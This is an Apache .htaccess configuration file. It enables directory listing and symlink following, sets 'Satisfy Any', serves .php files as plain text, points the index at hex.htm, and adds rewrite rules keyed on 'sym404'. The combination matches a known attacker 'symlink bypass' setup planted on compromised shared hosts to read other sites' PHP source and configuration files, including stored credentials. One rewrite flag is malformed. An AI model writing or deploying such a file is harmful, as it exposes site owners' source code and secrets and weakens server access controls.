Options Indexes FollowSymLinks
DirectoryIndex hex.htm
AddType text/plain .php 
AddHandler text/plain .php
Satisfy Any
IndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*
IndexIgnore *.txt404
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} ^.*sym404 [NC]
RewriteRule \.txt$ %{REQUEST_URI}404 [L,R=302.NC]